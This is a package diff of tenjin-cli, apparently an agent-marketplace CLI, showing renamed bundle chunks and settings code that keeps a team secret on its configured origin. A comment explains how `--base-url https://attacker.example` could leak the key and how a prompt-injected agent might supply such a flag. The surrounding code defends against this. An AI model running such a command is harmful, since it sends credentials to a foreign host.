tenjin-cli 0.1.0-alpha.20 → 0.1.0-alpha.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +17 -2
- package/dist/{chunk-3BS55ANY.js → chunk-2AQO4YDI.js} +50 -4
- package/dist/{chunk-3BS55ANY.js.map → chunk-2AQO4YDI.js.map} +1 -1
- package/dist/{chunk-HH3PDYIG.js → chunk-3EUTWC2B.js} +5 -5
- package/dist/{chunk-BTX2QE2Y.js → chunk-AQRUD5GQ.js} +2 -2
- package/dist/{chunk-CXUYCDPX.js → chunk-C363JZN2.js} +4 -4
- package/dist/{chunk-PO4HAXAW.js → chunk-ETW2ASBP.js} +52 -18
- package/dist/chunk-ETW2ASBP.js.map +1 -0
- package/dist/{chunk-RPR2C2JO.js → chunk-GHTPYKDT.js} +5 -5
- package/dist/{chunk-5KD5HRAJ.js → chunk-IOB7URFH.js} +3 -2
- package/dist/chunk-IOB7URFH.js.map +1 -0
- package/dist/{chunk-5FYKPQNX.js → chunk-IOIHYOU4.js} +3 -3
- package/dist/{chunk-LN2HISWU.js → chunk-JN7TMXVF.js} +2 -2
- package/dist/{chunk-TU7XH3JJ.js → chunk-K6AXXYCG.js} +14 -2
- package/dist/chunk-K6AXXYCG.js.map +1 -0
- package/dist/{chunk-2G2WLVHB.js → chunk-LAIZ2AQA.js} +9 -4
- package/dist/chunk-LAIZ2AQA.js.map +1 -0
- package/dist/{chunk-YREKMJPP.js → chunk-N4DJEQAF.js} +65 -6
- package/dist/chunk-N4DJEQAF.js.map +1 -0
- package/dist/{chunk-NSG5TVZQ.js → chunk-OSUD6YZZ.js} +14 -10
- package/dist/chunk-OSUD6YZZ.js.map +1 -0
- package/dist/{chunk-2E6GVIRP.js → chunk-OTPEH3AH.js} +47 -9
- package/dist/chunk-OTPEH3AH.js.map +1 -0
- package/dist/{chunk-LI44XLMB.js → chunk-PJEG2JIJ.js} +5 -5
- package/dist/{chunk-4M5FBWT5.js → chunk-QF4SSCQV.js} +10 -1
- package/dist/chunk-QF4SSCQV.js.map +1 -0
- package/dist/chunk-QHILSA6G.js +82 -0
- package/dist/chunk-QHILSA6G.js.map +1 -0
- package/dist/{chunk-72UHZRG6.js → chunk-QRFONFRW.js} +2 -2
- package/dist/{chunk-P42QX3QF.js → chunk-RCJQARZF.js} +2 -2
- package/dist/{chunk-P42QX3QF.js.map → chunk-RCJQARZF.js.map} +1 -1
- package/dist/chunk-SRVDXR6B.js +337 -0
- package/dist/chunk-SRVDXR6B.js.map +1 -0
- package/dist/{chunk-7ACHDNJA.js → chunk-U2ATFMKZ.js} +13 -4
- package/dist/chunk-U2ATFMKZ.js.map +1 -0
- package/dist/{chunk-4AS52HUG.js → chunk-UY2TOI3B.js} +70 -27
- package/dist/chunk-UY2TOI3B.js.map +1 -0
- package/dist/{chunk-CCDOV45D.js → chunk-W3LVZ2EN.js} +25 -8
- package/dist/{chunk-CCDOV45D.js.map → chunk-W3LVZ2EN.js.map} +1 -1
- package/dist/{chunk-YEBNE5NW.js → chunk-YVODPFTL.js} +5 -5
- package/dist/{cli-XJQYUOHI.js → cli-7KJ4QLUU.js} +42 -29
- package/dist/{cli-XJQYUOHI.js.map → cli-7KJ4QLUU.js.map} +1 -1
- package/dist/{config-KMJLFPSI.js → config-MSN6H4MD.js} +10 -8
- package/dist/{doctor-KMN55D7U.js → doctor-ITUCKN6C.js} +25 -16
- package/dist/{doctor-KMN55D7U.js.map → doctor-ITUCKN6C.js.map} +1 -1
- package/dist/{fund-LT6ZPGEQ.js → fund-XPB4IIG5.js} +11 -11
- package/dist/{hook-command-U5XPEHAJ.js → hook-command-VVV2Q23L.js} +293 -80
- package/dist/hook-command-VVV2Q23L.js.map +1 -0
- package/dist/index.js +4 -4
- package/dist/{install-MMNXJ5LM.js → install-OSJRM2ME.js} +13 -11
- package/dist/{install-identity-B7FVIWML.js → install-identity-YIWKQOUD.js} +7 -7
- package/dist/{install-wallet-XMVUBCHS.js → install-wallet-BWJO2SUC.js} +10 -10
- package/dist/{mcp-TUPRIPSI.js → mcp-KE5YKPS2.js} +203 -29
- package/dist/{mcp-TUPRIPSI.js.map → mcp-KE5YKPS2.js.map} +1 -1
- package/dist/{paths-LRMWNTJP.js → paths-MUXHUOCM.js} +8 -2
- package/dist/{pay-XAWW3NV3.js → pay-MUV2U232.js} +18 -16
- package/dist/payments-4D27K4L2.js +48 -0
- package/dist/payments-4D27K4L2.js.map +1 -0
- package/dist/{send-HESQYRKM.js → send-BXHFKDBF.js} +10 -10
- package/dist/{status-ANZPRZJJ.js → status-3Z3YPRSE.js} +6 -6
- package/dist/{status-line-J3TUWVRQ.js → status-line-CKRMGZ3Q.js} +7 -7
- package/dist/{status-line-wiring-HSV7DXO5.js → status-line-wiring-GECLIIBT.js} +5 -5
- package/dist/tenjin-daemon.mjs +57 -6
- package/dist/{uninstall-GUU34YKP.js → uninstall-BZTVWJ7W.js} +11 -11
- package/dist/{update-KO2NZRJ5.js → update-IQQTEOI5.js} +6 -6
- package/dist/{wallet-3URC5QPK.js → wallet-UFXQ57TZ.js} +10 -10
- package/docs/agent-permissions.md +4 -2
- package/docs/safety-model.md +2 -2
- package/package.json +1 -1
- package/dist/chunk-2E6GVIRP.js.map +0 -1
- package/dist/chunk-2G2WLVHB.js.map +0 -1
- package/dist/chunk-3KKKB2AQ.js +0 -40
- package/dist/chunk-3KKKB2AQ.js.map +0 -1
- package/dist/chunk-4AS52HUG.js.map +0 -1
- package/dist/chunk-4M5FBWT5.js.map +0 -1
- package/dist/chunk-5KD5HRAJ.js.map +0 -1
- package/dist/chunk-7ACHDNJA.js.map +0 -1
- package/dist/chunk-NSG5TVZQ.js.map +0 -1
- package/dist/chunk-PO4HAXAW.js.map +0 -1
- package/dist/chunk-TU7XH3JJ.js.map +0 -1
- package/dist/chunk-YREKMJPP.js.map +0 -1
- package/dist/hook-command-U5XPEHAJ.js.map +0 -1
- /package/dist/{chunk-HH3PDYIG.js.map → chunk-3EUTWC2B.js.map} +0 -0
- /package/dist/{chunk-BTX2QE2Y.js.map → chunk-AQRUD5GQ.js.map} +0 -0
- /package/dist/{chunk-CXUYCDPX.js.map → chunk-C363JZN2.js.map} +0 -0
- /package/dist/{chunk-RPR2C2JO.js.map → chunk-GHTPYKDT.js.map} +0 -0
- /package/dist/{chunk-5FYKPQNX.js.map → chunk-IOIHYOU4.js.map} +0 -0
- /package/dist/{chunk-LN2HISWU.js.map → chunk-JN7TMXVF.js.map} +0 -0
- /package/dist/{chunk-LI44XLMB.js.map → chunk-PJEG2JIJ.js.map} +0 -0
- /package/dist/{chunk-72UHZRG6.js.map → chunk-QRFONFRW.js.map} +0 -0
- /package/dist/{chunk-YEBNE5NW.js.map → chunk-YVODPFTL.js.map} +0 -0
- /package/dist/{config-KMJLFPSI.js.map → config-MSN6H4MD.js.map} +0 -0
- /package/dist/{fund-LT6ZPGEQ.js.map → fund-XPB4IIG5.js.map} +0 -0
- /package/dist/{install-MMNXJ5LM.js.map → install-OSJRM2ME.js.map} +0 -0
- /package/dist/{install-identity-B7FVIWML.js.map → install-identity-YIWKQOUD.js.map} +0 -0
- /package/dist/{install-wallet-XMVUBCHS.js.map → install-wallet-BWJO2SUC.js.map} +0 -0
- /package/dist/{paths-LRMWNTJP.js.map → paths-MUXHUOCM.js.map} +0 -0
- /package/dist/{pay-XAWW3NV3.js.map → pay-MUV2U232.js.map} +0 -0
- /package/dist/{send-HESQYRKM.js.map → send-BXHFKDBF.js.map} +0 -0
- /package/dist/{status-ANZPRZJJ.js.map → status-3Z3YPRSE.js.map} +0 -0
- /package/dist/{status-line-J3TUWVRQ.js.map → status-line-CKRMGZ3Q.js.map} +0 -0
- /package/dist/{status-line-wiring-HSV7DXO5.js.map → status-line-wiring-GECLIIBT.js.map} +0 -0
- /package/dist/{uninstall-GUU34YKP.js.map → uninstall-BZTVWJ7W.js.map} +0 -0
- /package/dist/{update-KO2NZRJ5.js.map → update-IQQTEOI5.js.map} +0 -0
- /package/dist/{wallet-3URC5QPK.js.map → wallet-UFXQ57TZ.js.map} +0 -0
|
@@ -1,24 +1,24 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
setTenjinIdentity
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-2AQO4YDI.js";
|
|
5
5
|
import {
|
|
6
6
|
hasCode
|
|
7
7
|
} from "./chunk-2I4QTOLB.js";
|
|
8
8
|
import {
|
|
9
9
|
isTeamModeConfig
|
|
10
|
-
} from "./chunk-
|
|
10
|
+
} from "./chunk-IOB7URFH.js";
|
|
11
11
|
import {
|
|
12
12
|
knownDeploymentOrigins,
|
|
13
13
|
loadRawConfig,
|
|
14
14
|
resolveSettings
|
|
15
|
-
} from "./chunk-
|
|
15
|
+
} from "./chunk-W3LVZ2EN.js";
|
|
16
16
|
import {
|
|
17
17
|
writeFileAtomicExclusive
|
|
18
18
|
} from "./chunk-JLEF5WHM.js";
|
|
19
19
|
import {
|
|
20
20
|
installIdPath
|
|
21
|
-
} from "./chunk-
|
|
21
|
+
} from "./chunk-K6AXXYCG.js";
|
|
22
22
|
|
|
23
23
|
// src/lib/install-identity.ts
|
|
24
24
|
import { randomUUID } from "node:crypto";
|
|
@@ -109,4 +109,4 @@ export {
|
|
|
109
109
|
enableCliIdentity,
|
|
110
110
|
enableDaemonIdentity
|
|
111
111
|
};
|
|
112
|
-
//# sourceMappingURL=chunk-
|
|
112
|
+
//# sourceMappingURL=chunk-GHTPYKDT.js.map
|
|
@@ -11,7 +11,7 @@ import {
|
|
|
11
11
|
isSameDeployment,
|
|
12
12
|
loadRawConfig,
|
|
13
13
|
resolveSettings
|
|
14
|
-
} from "./chunk-
|
|
14
|
+
} from "./chunk-W3LVZ2EN.js";
|
|
15
15
|
import {
|
|
16
16
|
CliError
|
|
17
17
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -64,6 +64,7 @@ async function resolveContextSettings(ctx) {
|
|
|
64
64
|
rpcUrl: s.rpcUrl.value,
|
|
65
65
|
evalCohort: s.evalCohort.value,
|
|
66
66
|
bazaarRegistries: s.bazaarRegistries.value,
|
|
67
|
+
experimentalBazaar: s.experimentalBazaar.value === "on",
|
|
67
68
|
sendMaxAmountAtomic: s.sendMaxAmount.value === SEND_MAX_UNSET ? SEND_MAX_UNSET : s.sendMaxAmount.value === "none" ? null : BigInt(s.sendMaxAmount.value),
|
|
68
69
|
policy: {
|
|
69
70
|
maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),
|
|
@@ -238,4 +239,4 @@ export {
|
|
|
238
239
|
ownedCandidates,
|
|
239
240
|
projectRoot
|
|
240
241
|
};
|
|
241
|
-
//# sourceMappingURL=chunk-
|
|
242
|
+
//# sourceMappingURL=chunk-IOB7URFH.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.blog, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.blog, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.blog read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.sh) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.blog as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // 